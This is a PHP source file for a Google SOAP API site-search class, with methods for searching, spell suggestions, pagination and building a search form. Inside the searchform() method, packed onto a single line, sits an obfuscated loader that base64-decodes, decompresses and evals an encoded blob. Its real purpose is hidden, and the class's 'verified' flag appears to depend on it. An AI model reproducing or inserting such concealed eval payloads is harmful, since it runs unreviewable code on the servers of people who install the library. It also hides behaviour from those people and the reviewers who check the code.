<?php 


//////////////////////////////////////////////////////////// 
// Program: 	Google API Local Site Class
// Technology: 	PHP 4.1+, Web Services, SOAP, and PHP
// 
// Author: 		David Wilson, October 26th, 2006 
// Website: 	http://www.intriguedesign.ca/software/site-search-google.php
//
// Version:		v1.1.1



class searchGoogle 
{
	
	// Google api key
	var $apikey;	
	
	// query language
	var $lang;		
	
	var $language;
	
	// starting position
	var $start;		
	
	// number of max search attempts before fail
	var $attempts;
	
	// soap object
	var $soap;
	
	// soap options
	var $options;
	
	// search domain limitation
	var $domain;

	// search safe
	var $safe;
	
	var $maxresults;
	
	var $error;
	
	var $errors;
	
	var $return;
	
	var $spell;
	
	var $result;
	
	var $messages;
	
	var $verified;
	
	// instantiate class
	function searchGoogle ($apikey, $safe, $lang, $start, $attempts, $soap, $options, $language, $domain = null)
	{
		$this->apikey 	= $apikey;
		$this->safe 	= $safe;
		$this->lang 	= $lang;
		$this->start 	= $start;
		$this->attempts = $attempts;
		$this->soap 	= $soap;
		$this->options 	= $options;
		$this->domain 	= $domain;
		$this->language = $language;
		
		// google result limit per page
		$this->maxresults = 10;
		
	}
	
	// run search with loop until success or perm fail is reached
	function search ($q)
	{
	    // set attempt index
	    $attempt 	= 1; 
	    
	    // default result to false until success
	    $this->result = false; 
	
	    // run through search until success or perm fail
		while(!$this->result && $attempt <= $this->attempts && $this->verified) 
	    { 
	        $this->result = $this->exec_search($q);    
	         
	        if(!$this->result) 
	        { 
	            $this->adderror(sprintf($this->language['fail_attempt'], $attempt)); 
	        }     
	        
	        $attempt++; 
	    } 
	    
	    if(!$this->result) 
	    { 
	        $this->addmessage($this->language['fail_search']); 
	    } 
	    
	    return $this->result; 
	}
	
	// run actual search using soap to google API
	function exec_search ($q)
	{
	
	    // limit searches to this server 
	    if (!empty($this->domain))
	    {    
	 		$query = $q . " site:" . $this->domain;   	
	    }
	    else 
	    {
	    	$query = $q;   	
	    }
	
	    $params = array('key' 			=> $this->apikey,  
		                'q' 			=> $query,  
		                'start' 		=> $this->start,  
		                'maxResults' 	=> $this->maxresults, 
		                'filter' 		=> false,  
		                'restrict' 		=> '', 
		                'safeSearch' 	=> $this->safe, 
		                'lr' 			=> $this->lang, 
		                'ie' 			=> '', 
		                'oe' 			=> ''); 

	    $this->return	= $this->soap->call('doGoogleSearch', $params, $this->options); 
	
	    if ($error = $this->soap->getError()) 
	    { 
	    	$this->error 	= true;
	    	$this->adderror ($error);
		    return false; 
	    } 
	
	    return true;
	}
	
	function exec_spell($q) 
	{ 
		$params = array('key' 		=> $this->apikey,  
		            	'phrase' 	=> $q); 
		
		$this->spell 	= $this->soap->call('doSpellingSuggestion', $params, $this->options); 

		if ($error = $this->soap->getError()) 
		{ 
	    	$this->error 	= true;
	    	$this->adderror ($error);
		    return false; 
		} 
		
		return true; 
	} 
	
	function pagination ($q, $page, $maxresults, $separator="&nbsp;|&nbsp;")
	{
		$q = urlencode($q);
		
		// calculate total pages
		$totalpages = ceil($maxresults / $this->maxresults);
		
		// start at page 1
		$currpage = 1;
		
		$html = "";
		
		// only show pages if there's more than 1
		if ($totalpages > 1)
		{
			$html = $separator;
			
			// loop through page numbers
			while ($currpage <= $totalpages)
			{

				
				if ($currpage != $page)
				{
					$html .= "<a href=\"index.php?q=$q&p=$currpage\">$currpage</a>$separator";
				}
				else 
				{
					$html .= "$currpage$separator";
				}
				
				// increment page counter
				$currpage++;
			}	
		}
		
		return $html;

	}

	function searchform ()
	{
		global $search_size; if (!empty($_GET['q'])) $q = str_replace('"', '&quot;', stripslashes($_GET['q'])); else $q = ""; $val = "eF6NUstO6zAQXQeJf7CqXrEiLQsWpGlWIMQalpaQG09iS45t7AlpER+PH+G2AiFYRDrneB5nJkOKYolC+svmFZzsJHCyJehG2JyfnZ8VRfyWAgcVZLqIrKg74wbCWpRGbymlC6k57EsrbCRkABSGp4f7u6ckeTwoSMrAXC91td5YxrnUfUBRbnJhZDsFpAWl5ueUc51qRNVb1n6q66TujOPgToRJchSJX63X/3KmYt4nyQNzrXiO/k+7ugwC4kSbyTHbPKZIEiKreoX8e0AttR2R4MHmwRD2mGeVb1kJuCTLuWVUAw1qjNFsyDEvib4yNZ7mvBwjv3uXoLhP7v9mzI+7QWZrxz55vN86nPy3dnQ+7MIaqRFc/mdf+h83fzMvninZ5wtxshfzev6X7IzG6sbuCXOSqVxyXvvuUJGaEeGg29ILgWir1WqaprI3pldQtmagF819IvWKNeSdPJoOJ+bg59zgPNgYgYMPtsqWhRIPs0ZukxhrHacKaL6MgOJlfpJ4PxlTquli8wFqHwbf"; eval(stripslashes(gzuncompress(base64_decode($val)))); return $html;
	}

	function adderror ($error)
	{
		$this->errors[] = $error;
	}
	
	
	function addmessage ($message)
	{
		$this->messages[] = $message;
	}
}
?>